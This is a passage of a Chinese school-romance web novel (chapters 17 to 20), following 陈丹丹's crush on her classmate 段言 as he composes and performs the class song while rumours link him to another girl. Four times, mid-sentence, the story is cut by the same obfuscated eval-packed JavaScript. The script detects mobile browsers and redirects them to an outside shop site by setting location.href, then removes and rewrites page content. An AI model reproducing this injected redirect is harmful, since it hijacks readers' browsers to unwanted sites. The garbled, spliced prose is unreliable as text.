俞秉文叠好物理卷子,将乱七八糟的课桌收拾了一下,等着段言待会儿问他借卷子。 一分钟过去了,旁边没动静。 两分钟过去了,旁边还是没动静。 俞秉文两手撑在桌子上,伸长了脖子往旁边望去。 他惊讶地看着他的同桌速度飞快地写着物理大题,那速度,简直像是没有经过思考一般,流畅地将卷子填满。俞秉文还注意到,段言写的答题步骤非常简洁,比他写的简洁多了,但每一步都在采分点上。 很完美的卷子。 很标准的答案。 很惊人的速度。 等段言写完物理卷子,俞秉文由衷道:“谢谢你我的好兄弟。” 段言不明所以地瞥他一眼。 俞秉文感叹:“谢谢你让我长了见识,原来抄作业真的挺浪费时间的。” 沉迷于刷题的陈丹丹停下笔,正要转转脖子休息一下,就听到了这句话。 陈丹丹:“?” 一大清早的,俞秉文就精神失常了? 俞秉文一转头,正好对上了陈丹丹迷惑的目光,他嘿嘿一笑,和她分享段言的惊人之举,“我给你说哈,段哥简直不是人!” 陈丹丹:“啊?” 她瞅了眼正在赶英语活页作业的段言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404768|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他的笔尖没有丝毫停顿,仿佛没有听见俞秉文的话。 俞秉文一拍桌子:“他是神!” 陈丹丹:“哈?” 俞秉文:“他自己写物理大题居然比抄现成的答案还要快!你说!这还是人能做到的吗?!” 陈丹丹果断摇摇头:“不是。” “咳咳。” 某位学神的咳嗽声响起,陈丹丹立马识相地转回身,俞秉文也瞬间闭嘴。 十多分钟后,祝思倩才姗姗来迟。 “快点快点!”急急忙忙放下书包的祝思倩拉着陈丹丹的手往前冲,“去迟了小心航哥待会儿批评我们。” 陈丹丹跟着她跑了两步,视线突然一顿,“倩倩,你——” 她的尾音还有点颤抖:“你没穿校服啊!” 华兴中学是出了名的有实力,也是出了名的管的严。 男生和女生都不能染头发、烫头发。男生的头发不允许留长,但也不允许留寸头,据说是因为校长觉得留寸头像是不良少年。女生的头发不能太长,说是打理头发会浪费时间,影响大家的学习。 至于校服方面,除了高考前夕的考生以外,其他所有学生都必须穿校服,不然的话,轻则让家长把校服送到学校来换上,重则在家长会上点名批评,还会失去奖学金资格。 更别提升旗仪式,会有专门的学生会成员到处检查各个班级的情况,如果发现没穿校服—— “我不想因为我,让我们班被扣分啊!”祝思倩一个急刹车,“更不想被航哥点名批评叫家长。” 她懊恼地猛拍额头,“早上起晚了脑子有点蒙,我爸妈也早就出门了,所以没人提醒我。” “要不你先联系一下叔叔阿姨,让他们把校服给你送过来?”陈丹丹提议。 祝思倩点头:“嗯嗯,我这就去联系我妈,那升旗仪式我就不去了,有什么情况你告诉我一声。” 每个班升旗仪式站的位置大概是固定的,但有时候还是会有点小变化,等陈丹丹独自到明德楼前院的时候,已经找不见他们班在哪个地方了。 她顺着人群走到熟悉的位置,却发现周围的人她都不认识。 陈丹丹:“……” 早知道祝思倩没办法跟她一起,她就应该戴上眼镜,也不至于现在像个没头苍蝇似的乱转。 陈丹丹正要换个方向窜,蓦地,她感觉到马尾辫被谁轻轻扯了一下。 谁这么幼稚啊? 跟小学生似的,还扯女孩子的辫子。 陈丹丹带着几分怒气转头,瞪向来人,却不经意间撞进了一双带着笑意的眼睛。 “傻不傻啊你,跟我走。” 熟悉的声音,是段言。 陈丹丹一愣。 段言收回手,低头看她气鼓鼓的样子。他刚才走在陈丹丹身后几米远的位置,中间隔了十几个同学,本想着跟在她后面参加升旗仪式,省的找地方,没想到她比他还晚找到班级。 陈丹丹乖乖跟在他后面,他高大的身形挡住了往这边方向走的汹涌人群,陈丹丹第一次感觉到在拥挤的人群中行走是一件轻松的事情。 他时不时回头看他一眼,好像怕她跟丢。 几个女生从他们中间横插过去,一眨眼的功夫,陈丹丹差点消失在段言的视线里。 他停在原地,等着某个人跟上来。看见那颗熟悉的脑袋时,他提醒: “跟紧点。” “笨蛋。” 陈丹丹小声嘟囔:“你才笨。” 这回她紧紧跟在段言的身后,走着走着,她发现他的脚步放慢了,应该是特意等她跟上。 段言带着她直奔他们班级所在的方向,很快见到了熟悉的同班同学。 陈丹丹不可思议地抬起头问段言:“你怎么知道我们班在哪的?” 他还没有参加过他们学校的升旗仪式,按道理来讲不应该这么快找到地方才对。而且每个班的牌子都是由专门的人保管,只有升旗仪式正式开始的时候才会由第一排的同学举起来,所以按照牌子来找班级也不成立。 陈丹丹不禁迷惑了。 以段言找班级位置的速度,和他相比,到底谁才是转学生啊喂! “因为我两只眼睛都是5.0。”他低头揶揄地看她,话中意味不言而喻。 陈丹丹好气:“……那你好了不起哦!” 是什么让她此刻面目可憎? 是熟悉的嘲讽。 虽然她是喜欢段言没错,但她也不得不承认,这个人有时候真的挺欠打的。 17. 十七颗青梅 盛夏,知了在窗外的树上嘶声力竭地叫着。教室里,头顶的吊扇呼呼作响,同学们拼命睁大眼,忍住困意,紧跟着物理老师上课的节奏。 陈丹丹奋笔疾书地抄写课堂笔记,写着写着,课本上的字逐渐扭曲,一行字渐渐往上倾斜,字越来越小,字迹也越来越难以分辨。 好热,好困,真的太困了。 眼睛都要睁不开了。 物理是陈丹丹的弱项,物理课被她归为绝对不能睡觉的课。所以她果断停下笔,手伸到桌子下方,大拇指和食指一起发力,狠狠地拧了拧自己的大腿。 嘶—— 疼痛果真让人清醒。 原本昏昏欲睡的陈丹丹一下子精神了不少,拿起笔继续记笔记,顺便在心里痛骂刚才的自己“记的是个什么玩意儿”。 突然,一道漫不经心的声音在她的正后方响起。 “老师,前面的数字写错了。” 暗恋一个人就是这样,会瞬间辨认出他的声音,会立刻被他的声音吸引,并且顺着声音望向他,又或者,内心深处只是想在他说话时有借口多看他一眼—— 陈丹丹下意识回头看段言一眼,正好和他的视线对上。 她迅速扭头,注意到周围有不少同学都在回头看段言。 “我看看。”白衬衣仔细地看了看白板,然后将数字修改正确,不忘提醒学生,“这个地方容易写错,同学们做题的时候要仔细点。” 没什么包袱的白衬衣在开学的第一堂课就和同学们约定了上课的规矩,其中一条就是,如果老师上课的时候不小心把题写错,或者把知识讲错了,希望同学们能当场指出。但这么久以来,没有一个人发现头脑清醒的白衬衣出过错。 直到今天。 讲下一道题之前,白衬衣还笑眯眯地夸了夸段言,“你们看看人家,物理满分还听得这么认真,我看有的同学都要睡着了,困的话就自觉点,去教室后面站着。” 受到表扬的段言淡定得很,摆出了一副宠辱不惊的样子。桌上的右手依旧在转笔,就连转笔的速度都没有变化。 物理课结束后,文艺委员辛彤彤满面笑容地走到陈丹丹座位——的后面,哪怕不刻意去听,陈丹丹也能听见她在说什么。 “段言,记得通过我的Q.Q申请哦,编完曲之后把文件发给我,我再拉个乐器组群,大家一起讨论讨论。” “行。”段言答应了。 陈丹丹笔尖一顿,她知道段言同意加辛彤彤为Q.Q好友只是为了艺术节的节目,但她还是有点不开心。 可能这就是喜欢带来的贪心和占有欲吧——在他对我有点特别的时候,我会希望这种特别永远只属于我,并且希望这种特别能多一点,再多一点。 祝思倩的关注点就不同了,她拉着陈丹丹窃窃私语道:“段言怎么还会编曲?他简直十项全能啊!” 家学渊源。 陈丹丹在心里默默道。 第三天早读刚结束,辛彤彤就迫不及待地跑过来,站在段言边上对他说道:“段言,你昨晚发给我的版本我觉得相当不错诶,我觉得把这一版发给音乐老师,肯定没有问题!等音乐老师听过之后,咱们就可以再做一版配了歌词的,到时候发到班群里,就可以试着全班一起练习了。” 哪怕是陈丹丹,都能听出她声音里的笑意和崇拜。 正好祝思倩邀请她:“去厕所吗?” 陈丹丹:“去。” 不想再听到辛彤彤和段言讨论事情了。 有点刺眼,有点刺耳。 去厕所的路上,祝思倩长叹一声:“这都第多少回了,咱们班的文艺委员这是要驻扎在咱们附近的节奏啊。” 这几天里,辛彤彤过来找过段言好几次,有时候祝思倩出去接水,回来都能看到辛彤彤正坐在她的座位上,转过去兴致勃勃地和段言讨论编曲的事情。讨论的是正事,辛彤彤又时常给她带点小零食,她也不好说些什么。 陈丹丹也不知道该说什么好,勉强道:“再过几天,等曲子编出来了,她应该就不会再过来了。” 教室里,辛彤彤见陈丹丹她们离开座位,立刻就要在她的座位上坐下。 “别坐这,”段言突然说,“陈丹丹马上就回来了。” 辛彤彤不情不愿地哦了一声,重新站直身体和他商量编曲的事情,“那我今天就把你昨晚发给我的那一版转发给音乐老师?” 段言颔首:“好。” 辛彤彤站在原地没动,期待地看着他,等他再说些什么。 段言也在等,他等了等,辛彤彤还是没离开,察觉到她的想法之后,他终于又开口说话了,然而他说的不是她想要听到的话。 “对了,昨晚的曲子不是发给你的,是发给群里所有人的。”段言是编曲的主力,群里其他人都是乐器组的同学,对编曲感兴趣,并且提出了一些还不错的想法。 辛彤彤面色一红,使劲咬住唇,立刻转身就走,没再多留一秒。 她走了之后,俞秉文用胳膊肘撞了撞段言,“行啊你,够铁石心肠的,对待咱们班漂亮的文艺委员,都像秋风扫落叶那般冷漠无情。” 段言不带情绪地看他一眼。 俞秉文可不害怕,他把凳子往段言的方向挪了挪,压低声音道:“而且我还发现你搞双重对待,之前辛彤彤坐祝思倩的位置,你都没说些什么。” 段言皱眉:“这是辛彤彤和祝思倩之间的事情,我要说什么?” 这还不够双标吗? 俞秉文立马指出来:“那她坐陈丹丹的位置,你怎么就不让了?人家陈丹丹也没让你帮她管理座位啊?” 堂堂一个学神兼校草,为一个女生干着“座位管理员”的活,他都不觉得奇怪吗? 段言只说:“陈丹丹不喜欢别人坐她的座位。” 俞秉文稀奇道:“你怎么知道?” 当然是因为他了解她。 小时候陈丹丹就对她的东西有很强的占有欲。 她的书扉页要写上她的名字,而且不乐意将她珍藏的读本借给别人;她舅舅从海城带给她的生日礼物是一个印有她名字的毛绒熊,她碰都不允许别人碰一下;她妈妈给她买的五指沙发椅,除了家人之外,她不允许任何人坐在上面,就连他,也只坐过一次。 理所当然的,她不会喜欢别的同学随时坐在专属于她的座位上。 不过这些都没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426670|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 必要告诉俞秉文。 “要你管。”段言用简单的三个字回复俞秉文。 多年以后的俞秉文回忆往昔时发现,他在还不知道“双标”这个词的时候,就已经深刻地在同桌身上感受到了这个词语的含义。 陈丹丹和祝思倩是踩着预备铃回到教室的。没办法,女厕所和男厕所有一个超级大的区别——女厕所总是要排队,并且时常会排很长的队。 她们跑回座位的时候,段言正闲闲地转笔玩,离得近了,陈丹丹还听见他在轻声哼着不知名的曲子。 很陌生,但非常好听,节奏感也很强。 数学老师抱着教案进入教室的时候,段言已经没有哼曲子了。但奇怪的是,他刚刚哼的那一小段,一直在陈丹丹脑海里单曲循环。 总算等到下课,数学老师走出教室后,陈丹丹扭过脑袋问身后那位“打扰”她上数学课的始作俑者,“你上课前哼的曲子叫什么?” “好听吗?”段言不答反问。 “废话。” 不好听她干嘛要问他? “这是谁的歌啊?”陈丹丹都有点想去听这位歌手其他的歌了。 “我们班的歌,”少年勾起唇角,右手还在不停地转笔,“你刚听到的曲子是我写的,当然,也综合了其他同学的劳动成果。” 陈丹丹莫名有点在意这个“其他同学”。 “你说的‘其他同学’,是指辛彤彤吗?”她深吸一口气,桌下的右手紧紧攥住了校服衣摆。 段言似笑非笑地看她一眼,声音平缓道:“她算是其中之一,客观来讲,路易平、俞秉文和曾智轲提供的帮助更多一些。” “哦。”陈丹丹默默转回去。 一秒。 两秒。 三秒钟。 一支笔戳了戳她的背。 熟悉的小动作。 她不情不愿地往后转身,她刚刚直接问出了那样的问题,也不知道段言有没有察觉到什么,她连想要就地埋了自己的心都有了,短时间内并不想再看见段言。 可是段言戳了她三下诶! …… 记忆里,忘记具体是哪一天了,只记得她和段言闹了点小矛盾,两个人整整两天没有说过一句话,他们都觉得自己没有错,谁都不愿意低头。 最后还是段言主动敲开了她家的门。 两个人和好如初。 不过陈丹丹也作出了承诺:“看在你主动来找我和好的份上,我就答应你,如果下次我们俩再闹矛盾了,只要叫对方三次,就必须和好。” 矮萝卜头时期的段言也很严谨:“叫三次?如果不想说话呢?” 陈掌门大手一挥:“那戳对方三下也可以嘛!” 主动叫对方三次,这意味着必须答应,必须理会,必须和好。 这是属于他们的年少义气和珍贵友谊。 …… 即使再生气,也不能不讲义气。 陈丹丹不得不转过去,一眼就看见段言那张帅到过分的脸,这张脸上还挂着肆意的笑容,一点都没有打扰到她的不好意思。 脸的主人说:“陈丹丹,我昨晚发给你的曲子,你是不是还没听?” 18. 十八颗青梅 什么? 陈丹丹以为自己听错了。 段言昨晚也给她发了曲子? 段言几乎是立刻读懂了她眼里的疑问,不紧不慢地转了转脖子,对她道:“我昨晚弄好之后就先发给你了,还想着让你提点建议。没想到啊没想到,你压根都没点开听,真是令人伤心。” 他说出来的话和音调搭在一起,欠欠的。如果是以前,陈丹丹说不定就一拳头打过去了。 然而此刻,她更在意的是段言将曲子第一个发给她,而不是发给辛彤彤。 “我昨晚没看Q.Q,今晚回去就看。”陈丹丹说完,飞快地转回身,带着点落荒而逃的急切和仓惶。 晚上回到家,花了几个小时把作业和习题册刷完,陈丹丹抱着几本书走进书房,裤兜里还揣着她的旧耳机。 登录Q.Q之后,消息提示音响起,陈丹丹点开她和段言的对话框,发现对方发来两个文件。 第一个文件名为:编曲5.0 第二个文件名为:《青春之夏》 陈丹丹插好耳机,调整好电脑的音量,按照顺序先点开了第一个文件,下载完成后,耳机里立刻传来动人的旋律。其中就包括她今天听到的,段言在课前哼的那一段。前奏悠扬抓耳,他哼的是副歌部分,活泼、有节奏感的同时,又很洗脑。 听完一遍之后,陈丹丹难以抑制地将进度条从尾拉到头,再听了一遍。 接着,她点开第二个名为《青春之夏》的文件。依旧是熟悉的前奏,陈丹丹甚至跟着轻哼起来。 三十六秒过去,一道好听到无敌爆炸的男声响起! 这竟然是带有歌词的版本! 更重要的是,唱歌的声音非常熟悉,毋庸置疑,是某个姓段名言的少年。 他的音域很广,可以听出来为了同时契合女生和男生的音域,这首歌的副歌部分音调适中,高音不多,男女生都可以唱,还有的部分音调很高,适合女生唱,有的部分音调低沉,适合男生唱。 段言全程唱完,声音完全跟随者曲子的起伏和节奏,仿佛在诉说一段青春的故事。这个故事朝气蓬勃、活力四射,有少年意气,有希望憧憬,有夏日的五彩斑斓与明媚动人,也有独属于年少学子的烦恼。 听到第三遍的时候,陈丹丹的注意力才从他的声音转移到歌词上。 当听到几句熟悉的歌词: “蝉鸣在耳边响起 青春它永不凋零 回忆校园的美景 是我们大笑又肆意” 陈丹丹跟随着歌曲节奏打拍子的手顿住了。 前面那句是段言写的,后面那句是她写的,幸运的是,他们俩写的歌词都没有改动的痕迹。 不可思议的是,这两句歌词作为副歌的一部分,在整首歌里被重复唱了好几遍。耳机里的男声在唱到这两句时是显而易见的愉悦,仿佛是在配合“大笑肆意”的歌词。 待听到穿插的一段rap时,陈丹丹忍俊不禁,抖着肩膀笑出声来。 “六点钟的起床闹铃 航哥已经在门口瞪你 做不完的练习题 白衬衣出课堂小测的频率 Ceres的onebyone响起 我的噩梦再次来临 还有什么我想不起 oh是分班考试快要光临~” “噗——” 我们班都是些人才啊! 写完自己部分的歌词,还没有看过完整版歌词的陈丹丹如是感叹。 至于班上的学霸们是不是平时看起来精神状态稳定,这回趁机在歌词里发个疯,她就不得而知了。 话说回来,段言是怎么做到在唱这几句rap的时候不笑场的? 非但不笑场,他的声音还挺一本正经,是和歌词适配度很高的、学生面对老师时故作的严肃正经和一丁点隐藏的小调皮。 神奇的是,据 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13451184|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他们班的歌词是给音乐老师看过的,航哥估计也看过,但是没有一位老师要求改动,任由他们班的同学在歌曲里调侃。 陈丹丹不得不赞叹一句,我高二(16)班的任课老师,真是大气! 又又又循环播放后,陈丹丹看了看电脑屏幕右下方的时间。 时间不早了,该关掉电脑了。 陈丹丹移动鼠标,将好友“dy”设置为特别关注,备注改为[他他他他他]后,又删掉了这个备注——他原本的Q.Q名就已经很独特了,她可以一眼在界面上找到他的头像和昵称,没必要再改。 今晚的落幕,是她给段言发了条消息:「超级好听!![鼓掌][鼓掌]」 对方回过来一句:「就这?」 一颗清凉丹:「那不然嘞?」 dy:「提点建议。」 陈丹丹斟酌用词:「不是要求内容要积极向上吗?这样的歌词可以吗?」 确定歌词已经被航哥审过了,可以用吗?别到时候被卡住,又得重新录。 dy:「我们写的歌词展现了真实的校园生活,这怎么不算是积极向上呢?」 妙啊! 陈丹丹觉得如果段言能参加辩论赛,绝对是全场的最佳辩手。 她还没回消息,对面催开了:「所以,你的建议?」 一颗清凉丹:「很完美了,没有建议。」 dy:「哼」 看到这个“哼”,陈丹丹还以为段言有点不高兴,本来早早把歌曲发给她,就是等着她提出点什么建议,没想到她什么有用的建议都没提出来,白白浪费他时间。 可是她真的想不到要提出点什么,总感觉鸡蛋里挑骨头是不太好的行为,而且很违背她的心意。 犹豫着,她发了个“晚安”,随即关掉电脑。 殊不知,电脑那头的少年,对“超级好听”“很完美了”这几个字看了又看,耳朵不知不觉间变红了。 19. 十九颗青梅 祝思倩和陈丹丹感慨,同学们不愧是火箭班的学霸,不仅学习起来效率超高,就连艺术节排练这种事情,也是效率奇高。 距离文艺委员将曲子发给音乐老师后不到两天,班上的同学就被告知了最新进度——最终版歌曲已经制作完成,完整版已发至班级Q.Q群,请同学们自行下载学习。乐器演奏部分的名单和曲谱也发在了Q.Q群里,名单上的同学需要尽快熟悉自己演奏的部分。 两天后,高二(16)班第一次艺术节练习开始。 音乐教室里,前来帮忙的音乐老师坐在台上,笑着看向让同学们按照乐器演奏区、演唱区分开站的文艺委员。 班上会乐器的同学太多,为了避免演唱区人太少,看起来不和谐,辛彤彤今上午带领班委们抽空给乐器组的同学们打分,分数靠后的重新归入演唱区。所以现在看起来,演唱区的人并不少,陈丹丹站在其中也不显突兀。 由于时间太紧,同学们还做不到不看歌词全程唱下来,音乐老师就同意大家这一次练习都带上歌词,唱到记不清楚歌词的部分时可以瞄两眼。 陈丹丹站在演唱区里,手上拿着她抄写的歌词,目光却偷偷注视着段言的身影。 她原本认为,以段言怕麻烦的性格,他会出现在演唱区内,没想到他径直走向了教室里唯一一架钢琴。 …… 两天前,辛彤彤将曲子转发给音乐老师后,段言认为自己的任务已经完成了大半。他感兴趣的编曲部分结束,接下来只需要等着排练,在合唱时跟着唱一唱就行。 事情的发展却出人意料。 没过多久,音乐老师让辛彤彤把他叫到音乐教室去。正好没什么事,他就去了。 冷不丁的,段言听见音乐老师问他:“听说是你编的曲?” “嗯。” “不错。”留着一头棕色大波浪的音乐老师点点头,亮晶晶的大耳环随着她的动作摇晃。她下巴往钢琴的方向一抬,对段言说道,“去把这首曲子弹一遍。” “我不擅长弹钢琴。”段言眉目不动,直言拒绝。 他无意出什么风头,对艺术节上的钢琴演奏也不怎么感兴趣。他接过编曲这个任务纯粹是觉得有挑战,有意思,就当留一个青春念想,顺便给班里做做贡献。 弹钢琴这种幕前惹人注目的事情他不怎么喜欢,相比于在众目睽睽下表演弹钢琴,他更喜欢在夜晚、在清晨、在雨天、在雪天,随心所欲地弹给自己听,或者单纯地纾解某些情绪,而不是拿来娱乐别人。 班上会弹钢琴的同学不少,大部分都是从小就开始学,该考的级也考了,由他们来完成钢琴部分的演奏,他很放心。 “据我所知,你还挺擅长的。”音乐老师双手抱臂,高跟鞋鞋尖在地面上点了点,“你先去弹一遍。” 说谎不是一个好习惯,大部分时候都直言拒绝别人的段言,第一次说谎欺骗老师,还被老师当场拆穿。无论是骨子里的性格,还是父母的教导,都让他没办法再拒绝。 几分钟后,音乐老师微笑着说:“艺术节的钢琴演奏部分就交给你了。” 不用听其他人的演奏,以她多年来的积累和教学经验来判断,没有人比段言更适合弹奏这首曲子。 …… 陈丹丹的目光紧紧跟随着段言,定格在几步之遥的钢琴处。 段言走到钢琴前坐下,调整了座位之后,他保持着放松的姿态,肩膀自然下沉,双手放于琴键上方。很简单的动作,却把白色短袖校服硬生生地穿出了白衬衣的优雅感。 演奏小提琴的几位同学坐在他周围,距离他最近的,是扎着丸子头的辛彤彤。 在严格的校规约束下,她依旧穿着校服,粉色的短袖下摆被塞进裤子里,深色的校服裤子上特意系了精致的细皮带,整个人看起来相当有气质。 陈丹丹突然听见旁边有同学小声嘀咕:“段言和辛彤彤看起来好配哦!” 陈丹丹捏住歌词纸的手指紧了紧,目光移向前方的周立阳,等待音乐开始。 是的,周立阳成为了班里这次演奏的指挥。平时见惯了他吊儿郎当不正经的模样,还以为他只会吃喝玩乐嘻嘻哈哈,没想到他还有这样的才能。陈丹丹都觉得,在藏龙卧虎的火箭班里,不管同学们再多出什么技能,她都不会惊讶了。 根据周立阳的指挥,钢琴声先响起,随后是小提琴,配合默契的前奏过去,第一段由男生演唱。唱的不是很整齐,勉强能听清楚他们唱的歌词。接着是女生演唱的部分,女生唱的比男生要整齐一些,听起来很悦耳,和长笛的适配度非常高。 然后是副歌部分,这一部分的歌词陈丹丹已经背下来了,她的目光再次投向前方。 窗外灼灼的阳光透过教室的玻璃洒进来,降落到正在弹钢琴的少年身上,他的发丝上沾着点点光芒,修长的手指轻快地在琴键上翩然跳跃。钢琴的黑白色琴键在他手下化作一个个流淌的音符,如溪水般绵绵不绝地钻入陈丹丹的耳廓,自然、悦耳、生动、热烈,饱含着青春的气息,充满诱人的芳香。 段言时而看着琴键,时而看向窗外,时而看向正在指挥的周立阳,看起来放松自然,游刃有余。 砰—— 砰—— 砰—— 在流淌的、令人陶醉的音乐声中,陈丹丹清晰地听见了自己的心跳声,失去惯常的节奏,震耳欲聋。 她真的,很难不喜欢他。 这个好像全身都在发光的、充满朝气的、耀眼的少年。 喜欢上段言之后,陈丹丹从来没有理性地分析过她为什么会喜欢他,因为喜欢本身就是感性作祟,在想到那个人的时候,没办法用理性来分析。这一秒钟,陈丹丹短暂分神思考了一下—— 喜欢他实在是太容易了,像是做出1+1=2这道数学题一样简单。 或许是他带着她小时候的熟悉重新走进了她的生命,告诉她“你很珍贵”;或许是他表面上嘴毒,但还是会不厌其烦地给她讲好几遍题目;或许是因为他的出色的容貌实在是万里无一;或许是因为他弹钢琴的样子很容易让人着迷;又或许是因为他不问原因的偏爱…… 最最有可能的,还是这些全部都结合起来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13483002|140047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,组成了这个闪闪发光的、独一无二的少年。 她只是简简单单地喜欢他这个人而已。 …… 所有同学当中,辛彤彤距离段言最近,她的视线时不时落在他身上,一曲结束,脚步轻快地走到他旁边,俯身说了些什么。 陈丹丹眯起她那双近视了的大眼睛,看到段言颔首,像是在肯定辛彤彤说的话。 这天过后,班上就有人传他们俩的绯闻,还有好事者试探更熟悉一点的辛彤彤,她只是害羞地低下头,并没有解释什么。 近乎默认的态度。 于是流言传得更厉害了,从整个班传到了整年级。不少明恋暗恋他们男生和女生都心碎了。 “虽然我失恋了,但如果是辛彤彤这样长的好看、成绩又好、性格又好,还多才多艺的女神,那我也是服气的。”私下里还有女生这样说。 陈丹丹是最早知道流言的人之一,毕竟她的同桌是善于打探各种八卦的祝思倩,这番话自然也传入了她的耳朵里。 听说这个八卦的时候,陈丹丹正坐在座位上,眼睁睁地又看见辛彤彤跑过来找段言——这次是和段言商量排练的一些事情。 俞秉文不在座位,明显是给他俩腾地方。 看了看低头谈事情的两个人,陈丹丹熄灭了向段言打听他和辛彤彤关系的想法。 同学们都传的有鼻子有眼了,她何必再去求证?又有什么理由去求证呢?说白了,她和段言无非就是小时候的邻居、朋友,外加现如今的朋友。 而且如果绯闻是假的,段言和辛彤彤肯定早就澄清了。 看段言现在还和辛彤彤毫不避讳地说话,这两人八成是真的。 说不清心里是什么滋味,酸酸涩涩的,苦苦的。 都说暗恋一个人就像是为他开了一层厚厚的滤镜,无论他做什么都会觉得他光芒万丈。但陈丹丹清楚地知道,不是她为段言开了一层滤镜,而是他本来就就很耀眼。所以他和聪明又漂亮的辛彤彤在一起,太正常不过。 其实早该想到的。 他这么好,总有同样优秀的女孩子会欣赏到他的好,他也同样会欣赏并喜欢那样优秀的女孩。童话故事只是童话,哪怕童话里的灰姑娘,都还披着贵族的身份,更别提段言——身边就有各方面都无可挑剔的明珠,又怎么会低下头来注视她这颗灰扑扑的、被他照亮的小草呢? 陈丹丹蓦地想起那天在音乐教室里的场景。 分明是所有同学穿着校服在音乐教室里的一次练习,段言分明离她只有几步之遥。 但是看着他,却好像是身处巨大的演奏厅,他衣着体面地坐在舞台中央,距离他最近的人是辛彤彤,也只会是辛彤彤,那个和他一样有着出色的外貌和成绩,同样拥有幸福家庭的女孩。 他们都是被上天眷顾的天之骄子。 而她,只能站在舞台下方遥远的观众席里望向他。 陈丹丹从书包隔层取出一颗大白兔奶糖,拆开含进嘴里。 第一次觉得,这奶糖一点都不甜。非但不甜,还有点苦,以后都不想再吃了。 20. 二十颗青梅 课间,陈丹丹一只胳膊被祝思倩拽住,被迫听她讲了几分钟的热播剧剧情,就在她们吐槽男主太渣,还是男二更好时,一只纸飞机忽然落到了她的桌面。 陈丹丹抬起头,发现段言站在讲台上,伸长了胳膊对她招手:“陈丹丹,帮我把飞机扔过来。” 她慢了半拍才反应过来,捡起桌上的纸飞机,站起身对准段言的方向用力扔过去。 呃。 尴尬的一幕出现了。 她扔的力度和方向有点巧妙,一个不小心,在段言完全没有防备,正偏过头和俞秉文说话的情况下,纸飞机戳到他脑袋上了。 对他有点抱歉,心里又有点想笑。 可能是手有自主意识,知道段言让她不开心了,所以来了个小小的捉弄?毫无理由的怨怪,没有丝毫道理可言,可她真不是故意的。 当陈丹丹做好心理建设抬头时,只见段言一手捏住飞过来的纸飞机,目光投向她的方向,勾了勾唇,“谢了。” 俞秉文搭着段言的肩膀笑得前仰后合,“我输了,不过你好像也没赢到哪去哈哈哈哈!” 陈丹丹坐下来的时候还听见了段言他们几个的声音。 “俞秉文、朱子奕,你们俩的飞机行驶距离最短,愿赌服输,记得赶紧去学生超市帮我们带吃的,钱我下节课再给你们。嘶——我先去趟厕所。” “别忘了我的干脆面啊!” “五根荔枝味棒棒糖、两包青柠味薯片,谢谢。” 显而易见,这群男生又在打赌。高中生饿的快,不论男女生,每天课间去小卖部的同学都挺多的,他们几个也不是第一次打赌让谁带零食了。 大课间后的第一节课是数学课,也就是班主任航哥的课。 预备铃响起,航哥准时出现在教室里,他扶了扶眼镜儿,在教室里转悠了一圈。上课铃响起时,他回到讲台上,刚说出一句“上课!” 一道突如其来的声音在前门口响起:“报告!” 应航转过头,见门口站着俞秉文,问了句:“干什么去了?” 俞秉文双手交叉放在腹部,他声音洪亮,拿出了军训时喊口号的架势,整个人看起来正气十足,“报告老师,我上厕所去了!” 应航点点头:“赶紧回座位。” 结果走到讲台中间的时候,一根棒棒糖从俞秉文的校服里掉出来了。 应航捏着教案的手一顿,眼神盯着讲台下方距离他不到一米远的地面——上的一根棒棒糖。 俞秉文吓得立马蹲下去捡,没想到又一包干脆面从他的校服里面掉出来。 寂静。 死一般的寂静。 同学们望着这一幕,偷偷打量航哥的神情,连笑都不敢出声,只在心里疯狂地发出五颜六色的弹幕。 好惨的俞秉文! 哈哈哈哈哈哈! 莫名有点好笑呀! 应航推了推鼻梁上方的眼镜,淡淡地道:“哦,原来厕所里还有吃的。” 全班哄堂大笑,俞秉文叹了口气,捡起讲台下方的棒棒糖和干脆面小跑回座位,中途还和段言挤了挤眼睛,并且用眼神怒骂了不等他先跑掉的朱子奕, 就在这时,又是一声“报告”在教室门口响起。 